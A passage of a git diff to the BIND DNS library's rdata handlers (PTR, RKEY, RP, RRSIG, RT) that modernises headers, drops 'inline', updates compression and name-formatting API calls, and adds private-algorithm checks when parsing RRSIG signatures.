  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,13 +12,10 @@
  */
 
 /* */
-#ifndef GENERIC_PTR_12_H
-#define GENERIC_PTR_12_H 1
+#pragma once
 
 typedef struct dns_rdata_ptr {
 	dns_rdatacommon_t common;
 	isc_mem_t *mctx;
 	dns_name_t ptr;
 } dns_rdata_ptr_t;
-
-#endif /* GENERIC_PTR_12_H */
diff --git a/lib/dns/rdata/generic/rkey_57.c b/lib/dns/rdata/generic/rkey_57.c
index 7dd11a29e4..20cd0f0141 100644
--- a/lib/dns/rdata/generic/rkey_57.c
+++ b/lib/dns/rdata/generic/rkey_57.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,14 +16,14 @@
 
 #define RRTYPE_RKEY_ATTRIBUTES 0
 
-static inline isc_result_t
+static isc_result_t
 fromtext_rkey(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_rkey);
 
 	return (generic_fromtext_key(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_rkey(ARGS_TOTEXT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_rkey);
@@ -29,14 +31,14 @@ totext_rkey(ARGS_TOTEXT) {
 	return (generic_totext_key(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_rkey(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_rkey);
 
 	return (generic_fromwire_key(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_rkey(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -50,7 +52,7 @@ towire_rkey(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_rkey(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -68,14 +70,14 @@ compare_rkey(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_rkey(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_rkey);
 
 	return (generic_fromstruct_key(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_rkey(ARGS_TOSTRUCT) {
 	dns_rdata_rkey_t *rkey = target;
 
@@ -90,7 +92,7 @@ tostruct_rkey(ARGS_TOSTRUCT) {
 	return (generic_tostruct_key(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_rkey(ARGS_FREESTRUCT) {
 	dns_rdata_rkey_t *rkey = (dns_rdata_rkey_t *)source;
 
@@ -100,18 +102,19 @@ freestruct_rkey(ARGS_FREESTRUCT) {
 	generic_freestruct_key(source);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_rkey(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_rkey);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_rkey(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -123,7 +126,7 @@ digest_rkey(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_rkey(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_rkey);
 
@@ -135,7 +138,7 @@ checkowner_rkey(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_rkey(ARGS_CHECKNAMES) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_rkey);
@@ -147,7 +150,7 @@ checknames_rkey(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_rkey(ARGS_COMPARE) {
 	/*
 	 * Treat ALG 253 (private DNS) subtype name case sensitively.
diff --git a/lib/dns/rdata/generic/rkey_57.h b/lib/dns/rdata/generic/rkey_57.h
index 8408b3d9a6..3538be0407 100644
--- a/lib/dns/rdata/generic/rkey_57.h
+++ b/lib/dns/rdata/generic/rkey_57.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,9 +11,6 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_RKEY_57_H
-#define GENERIC_RKEY_57_H 1
+#pragma once
 
 typedef struct dns_rdata_key dns_rdata_rkey_t;
-
-#endif /* GENERIC_RKEY_57_H */
diff --git a/lib/dns/rdata/generic/rp_17.c b/lib/dns/rdata/generic/rp_17.c
index 70c3204d23..440ad341ea 100644
--- a/lib/dns/rdata/generic/rp_17.c
+++ b/lib/dns/rdata/generic/rp_17.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_RP_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_rp(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -55,13 +57,13 @@ fromtext_rp(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_rp(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t rmail;
 	dns_name_t email;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_rp);
 	REQUIRE(rdata->length != 0);
@@ -78,16 +80,20 @@ totext_rp(ARGS_TOTEXT) {
 	dns_name_fromregion(&email, &region);
 	isc_region_consume(&region, email.length);
 
-	sub = name_prefix(&rmail, tctx->origin, &prefix);
-	RETERR(dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&rmail, tctx->origin, &prefix)
+		       ? DNS_NAME_OMITFINALDOT
+		       : 0;
+	RETERR(dns_name_totext(&prefix, opts, target));
 
 	RETERR(str_totext(" ", target));
 
-	sub = name_prefix(&email, tctx->origin, &prefix);
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&email, tctx->origin, &prefix)
+		       ? DNS_NAME_OMITFINALDOT
+		       : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_rp(ARGS_FROMWIRE) {
 	dns_name_t rmail;
 	dns_name_t email;
@@ -97,16 +103,16 @@ fromwire_rp(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&rmail, NULL);
 	dns_name_init(&email, NULL);
 
-	RETERR(dns_name_fromwire(&rmail, source, dctx, options, target));
-	return (dns_name_fromwire(&email, source, dctx, options, target));
+	RETERR(dns_name_fromwire(&rmail, source, dctx, target));
+	return (dns_name_fromwire(&email, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_rp(ARGS_TOWIRE) {
 	isc_region_t region;
 	dns_name_t rmail;
@@ -117,7 +123,7 @@ towire_rp(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_rp);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	dns_name_init(&rmail, roffsets);
 	dns_name_init(&email, eoffsets);
 
@@ -126,15 +132,15 @@ towire_rp(ARGS_TOWIRE) {
 	dns_name_fromregion(&rmail, &region);
 	isc_region_consume(&region, rmail.length);
 
-	RETERR(dns_name_towire(&rmail, cctx, target));
+	RETERR(dns_name_towire(&rmail, cctx, target, NULL));
 
 	dns_name_fromregion(&rmail, &region);
 	isc_region_consume(&region, rmail.length);
 
-	return (dns_name_towire(&rmail, cctx, target));
+	return (dns_name_towire(&rmail, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_rp(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -174,7 +180,7 @@ compare_rp(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_rp(ARGS_FROMSTRUCT) {
 	dns_rdata_rp_t *rp = source;
 	isc_region_t region;
@@ -193,9 +199,8 @@ fromstruct_rp(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_rp(ARGS_TOSTRUCT) {
-	isc_result_t result;
 	isc_region_t region;
 	dns_rdata_rp_t *rp = target;
 	dns_name_t name;
@@ -212,26 +217,16 @@ tostruct_rp(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&rp->mail, NULL);
-	RETERR(name_duporclone(&name, mctx, &rp->mail));
+	name_duporclone(&name, mctx, &rp->mail);
 	isc_region_consume(&region, name_length(&name));
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&rp->text, NULL);
-	result = name_duporclone(&name, mctx, &rp->text);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
+	name_duporclone(&name, mctx, &rp->text);
 	rp->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL) {
-		dns_name_free(&rp->mail, mctx);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_rp(ARGS_FREESTRUCT) {
 	dns_rdata_rp_t *rp = source;
 
@@ -247,18 +242,19 @@ freestruct_rp(ARGS_FREESTRUCT) {
 	rp->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_rp(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_rp);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_rp(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -278,7 +274,7 @@ digest_rp(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_rp(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_rp);
 
@@ -290,7 +286,7 @@ checkowner_rp(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_rp(ARGS_CHECKNAMES) {
 	isc_region_t region;
 	dns_name_t name;
@@ -311,7 +307,7 @@ checknames_rp(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_rp(ARGS_COMPARE) {
 	return (compare_rp(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/rp_17.h b/lib/dns/rdata/generic/rp_17.h
index d846902a88..d27ffb959f 100644
--- a/lib/dns/rdata/generic/rp_17.h
+++ b/lib/dns/rdata/generic/rp_17.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_RP_17_H
-#define GENERIC_RP_17_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC1183 */
@@ -21,5 +22,3 @@ typedef struct dns_rdata_rp {
 	dns_name_t mail;
 	dns_name_t text;
 } dns_rdata_rp_t;
-
-#endif /* GENERIC_RP_17_H */
diff --git a/lib/dns/rdata/generic/rrsig_46.c b/lib/dns/rdata/generic/rrsig_46.c
index 40506d7ed6..062e38f954 100644
--- a/lib/dns/rdata/generic/rrsig_46.c
+++ b/lib/dns/rdata/generic/rrsig_46.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,10 +20,10 @@
 	(DNS_RDATATYPEATTR_DNSSEC | DNS_RDATATYPEATTR_ZONECUTAUTH | \
 	 DNS_RDATATYPEATTR_ATCNAME)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_rrsig(ARGS_FROMTEXT) {
 	isc_token_t token;
-	unsigned char c;
+	unsigned char alg, c;
 	long i;
 	dns_rdatatype_t covered;
 	char *e;
@@ -29,6 +31,7 @@ fromtext_rrsig(ARGS_FROMTEXT) {
 	dns_name_t name;
 	isc_buffer_t buffer;
 	uint32_t time_signed, time_expire;
+	unsigned int used;
 
 	REQUIRE(type == dns_rdatatype_rrsig);
 
@@ -59,8 +62,8 @@ fromtext_rrsig(ARGS_FROMTEXT) {
 	 */
 	RETERR(isc_lex_getmastertoken(lexer, &token, isc_tokentype_string,
 				      false));
-	RETTOK(dns_secalg_fromtext(&c, &token.value.as_textregion));
-	RETERR(mem_tobuffer(target, &c, 1));
+	RETTOK(dns_secalg_fromtext(&alg, &token.value.as_textregion));
+	RETERR(mem_tobuffer(target, &alg, 1));
 
 	/*
 	 * Labels.
@@ -152,10 +155,27 @@ fromtext_rrsig(ARGS_FROMTEXT) {
 	/*
 	 * Sig.
 	 */
-	return (isc_base64_tobuffer(lexer, target, -2));
+	used = isc_buffer_usedlength(target);
+
+	RETERR(isc_base64_tobuffer(lexer, target, -2));
+
+	if (alg == DNS_KEYALG_PRIVATEDNS || alg == DNS_KEYALG_PRIVATEOID) {
+		isc_buffer_t b;
+
+		/*
+		 * Set up 'b' so that the signature data can be parsed.
+		 */
+		b = *target;
+		b.active = b.used;
+		b.current = used;
+
+		RETERR(check_private(&b, alg));
+	}
+
+	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_rrsig(ARGS_TOTEXT) {
 	isc_region_t sr;
 	char buf[sizeof("4294967295")]; /* Also TYPE65000. */
@@ -248,7 +268,7 @@ totext_rrsig(ARGS_TOTEXT) {
 	dns_name_init(&name, NULL);
 	dns_name_fromregion(&name, &sr);
 	isc_region_consume(&sr, name_length(&name));
-	RETERR(dns_name_totext(&name, false, target));
+	RETERR(dns_name_totext(&name, 0, target));
 
 	/*
 	 * Sig.
@@ -272,17 +292,18 @@ totext_rrsig(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_rrsig(ARGS_FROMWIRE) {
 	isc_region_t sr;
 	dns_name_t name;
+	unsigned char algorithm;
 
 	REQUIRE(type == dns_rdatatype_rrsig);
 
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	isc_buffer_activeregion(source, &sr);
 	/*
@@ -298,6 +319,8 @@ fromwire_rrsig(ARGS_FROMWIRE) {
 		return (ISC_R_UNEXPECTEDEND);
 	}
 
+	algorithm = sr.base[2];
+
 	isc_buffer_forward(source, 18);
 	RETERR(mem_tobuffer(target, sr.base, 18));
 
@@ -305,7 +328,7 @@ fromwire_rrsig(ARGS_FROMWIRE) {
 	 * Signer.
 	 */
 	dns_name_init(&name, NULL);
-	RETERR(dns_name_fromwire(&name, source, dctx, options, target));
+	RETERR(dns_name_fromwire(&name, source, dctx, target));
 
 	/*
 	 * Sig.
@@ -314,11 +337,19 @@ fromwire_rrsig(ARGS_FROMWIRE) {
 	if (sr.length < 1) {
 		return (DNS_R_FORMERR);
 	}
+
+	if (algorithm == DNS_KEYALG_PRIVATEDNS ||
+	    algorithm == DNS_KEYALG_PRIVATEOID)
+	{
+		isc_buffer_t b = *source;
+		RETERR(check_private(&b, algorithm));
+	}
+
 	isc_buffer_forward(source, sr.length);
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_rrsig(ARGS_TOWIRE) {
 	isc_region_t sr;
 	dns_name_t name;
@@ -327,7 +358,7 @@ towire_rrsig(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_rrsig);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	dns_rdata_toregion(rdata, &sr);
 	/*
 	 * type covered: 2
@@ -347,7 +378,7 @@ towire_rrsig(ARGS_TOWIRE) {
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &sr);
 	isc_region_consume(&sr, name_length(&name));
-	RETERR(dns_name_towire(&name, cctx, target));
+	RETERR(dns_name_towire(&name, cctx, target, NULL));
 
 	/*
 	 * Signature.
@@ -355,7 +386,7 @@ towire_rrsig(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_rrsig(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -371,7 +402,7 @@ compare_rrsig(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_rrsig(ARGS_FROMSTRUCT) {
 	dns_rdata_rrsig_t *sig = source;
 
@@ -430,7 +461,7 @@ fromstruct_rrsig(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, sig->signature, sig->siglen));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_rrsig(ARGS_TOSTRUCT) {
 	isc_region_t sr;
 	dns_rdata_rrsig_t *sig = target;
@@ -491,7 +522,7 @@ tostruct_rrsig(ARGS_TOSTRUCT) {
 	dns_name_init(&signer, NULL);
 	dns_name_fromregion(&signer, &sr);
 	dns_name_init(&sig->signer, NULL);
-	RETERR(name_duporclone(&signer, mctx, &sig->signer));
+	name_duporclone(&signer, mctx, &sig->signer);
 	isc_region_consume(&sr, name_length(&sig->signer));
 
 	/*
@@ -499,21 +530,11 @@ tostruct_rrsig(ARGS_TOSTRUCT) {
 	 */
 	sig->siglen = sr.length;
 	sig->signature = mem_maybedup(mctx, sr.base, sig->siglen);
-	if (sig->signature == NULL) {
-		goto cleanup;
-	}
-
 	sig->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL) {
-		dns_name_free(&sig->signer, mctx);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_rrsig(ARGS_FREESTRUCT) {
 	dns_rdata_rrsig_t *sig = (dns_rdata_rrsig_t *)source;
 
@@ -531,18 +552,19 @@ freestruct_rrsig(ARGS_FREESTRUCT) {
 	sig->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_rrsig(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_rrsig);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_rrsig(ARGS_DIGEST) {
 	REQUIRE(rdata->type == dns_rdatatype_rrsig);
 
@@ -553,7 +575,7 @@ digest_rrsig(ARGS_DIGEST) {
 	return (ISC_R_NOTIMPLEMENTED);
 }
 
-static inline dns_rdatatype_t
+static dns_rdatatype_t
 covers_rrsig(dns_rdata_t *rdata) {
 	dns_rdatatype_t type;
 	isc_region_t r;
@@ -566,7 +588,7 @@ covers_rrsig(dns_rdata_t *rdata) {
 	return (type);
 }
 
-static inline bool
+static bool
 checkowner_rrsig(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_rrsig);
 
@@ -578,7 +600,7 @@ checkowner_rrsig(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_rrsig(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_rrsig);
 
@@ -589,7 +611,7 @@ checknames_rrsig(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_rrsig(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
diff --git a/lib/dns/rdata/generic/rrsig_46.h b/lib/dns/rdata/generic/rrsig_46.h
index fd2f6e56e9..0869c2d4e7 100644
--- a/lib/dns/rdata/generic/rrsig_46.h
+++ b/lib/dns/rdata/generic/rrsig_46.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_DNSSIG_46_H
-#define GENERIC_DNSSIG_46_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC2535 */
@@ -28,5 +29,3 @@ typedef struct dns_rdata_rrsig {
 	uint16_t siglen;
 	unsigned char *signature;
 } dns_rdata_rrsig_t;
-
-#endif /* GENERIC_DNSSIG_46_H */
diff --git a/lib/dns/rdata/generic/rt_21.c b/lib/dns/rdata/generic/rt_21.c
index e54d02970a..89ff01491c 100644
--- a/lib/dns/rdata/generic/rt_21.c
+++ b/lib/dns/rdata/generic/rt_21.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_RT_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_rt(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -58,12 +60,12 @@ fromtext_rt(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_rt(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 	char buf[sizeof("64000")];
 	unsigned short num;
 
@@ -80,11 +82,12 @@ totext_rt(ARGS_TOTEXT) {
 	RETERR(str_totext(buf, target));
 	RETERR(str_totext(" ", target));
 	dns_name_fromregion(&name, &region);
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_rt(ARGS_FROMWIRE) {
 	dns_name_t name;
 	isc_region_t sregion;
@@ -95,7 +98,7 @@ fromwire_rt(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&name, NULL);
 
@@ -110,10 +113,10 @@ fromwire_rt(ARGS_FROMWIRE) {
 	memmove(tregion.base, sregion.base, 2);
 	isc_buffer_forward(source, 2);
 	isc_buffer_add(target, 2);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_rt(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -123,7 +126,7 @@ towire_rt(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_rt);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	isc_buffer_availableregion(target, &tr);
 	dns_rdata_toregion(rdata, &region);
 	if (tr.length < 2) {
@@ -136,10 +139,10 @@ towire_rt(ARGS_TOWIRE) {
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_rt(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -173,7 +176,7 @@ compare_rt(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_rt(ARGS_FROMSTRUCT) {
 	dns_rdata_rt_t *rt = source;
 	isc_region_t region;
@@ -191,7 +194,7 @@ fromstruct_rt(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_rt(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_rt_t *rt = target;
@@ -211,13 +214,13 @@ tostruct_rt(ARGS_TOSTRUCT) {
 	isc_region_consume(&region, 2);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&rt->host, NULL);
-	RETERR(name_duporclone(&name, mctx, &rt->host));
+	name_duporclone(&name, mctx, &rt->host);
 
 	rt->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_rt(ARGS_FREESTRUCT) {
 	dns_rdata_rt_t *rt = source;
 
@@ -232,7 +235,7 @@ freestruct_rt(ARGS_FREESTRUCT) {
 	rt->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_rt(ARGS_ADDLDATA) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -241,23 +244,25 @@ additionaldata_rt(ARGS_ADDLDATA) {
 
 	REQUIRE(rdata->type == dns_rdatatype_rt);
 
+	UNUSED(owner);
+
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	isc_region_consume(&region, 2);
 	dns_name_fromregion(&name, &region);
 
-	result = (add)(arg, &name, dns_rdatatype_x25);
+	result = (add)(arg, &name, dns_rdatatype_x25, NULL DNS__DB_FILELINE);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
-	result = (add)(arg, &name, dns_rdatatype_isdn);
+	result = (add)(arg, &name, dns_rdatatype_isdn, NULL DNS__DB_FILELINE);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
-	return ((add)(arg, &name, dns_rdatatype_a));
+	return ((add)(arg, &name, dns_rdatatype_a, NULL DNS__DB_FILELINE));
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_rt(ARGS_DIGEST) {
 	isc_region_t r1, r2;
 	isc_result_t result;
@@ -278,7 +283,7 @@ digest_rt(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_rt(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_rt);
 
@@ -290,7 +295,7 @@ checkowner_rt(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_rt(ARGS_CHECKNAMES) {
 	isc_region_t region;
 	dns_name_t name;
@@ -312,7 +317,7 @@ checknames_rt(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_rt(ARGS_COMPARE) {
 	return (compare_rt(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/rt_21.h b/lib/dns/rdata/generic/rt_21.h
index 21152a0dcd..7df33d1f5c 100644
--- a/lib/dns/rdata/generic/rt_21.h
+++ b/lib/dns/rdata/generic/rt_21.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_RT_21_H
-#define GENERIC_RT_21_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC1183 */
@@ -21,5 +22,3 @@ typedef struct dns_rdata_rt {
 	uint16_t preference;
 	dns_name_t host;
 } dns_rdata_rt_t;
-
-#endif /* GENERIC_RT_21_H */
diff --git a/lib/dns/rdata/generic/sig_24.c b/lib/dns/rdata/generic/sig_24.c
index bfff78c663..b67f1efa63 100644
--- a/lib/dns/rdata/generic/sig_24.c
+++ b/lib/dns/rdata/generic/sig_24.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
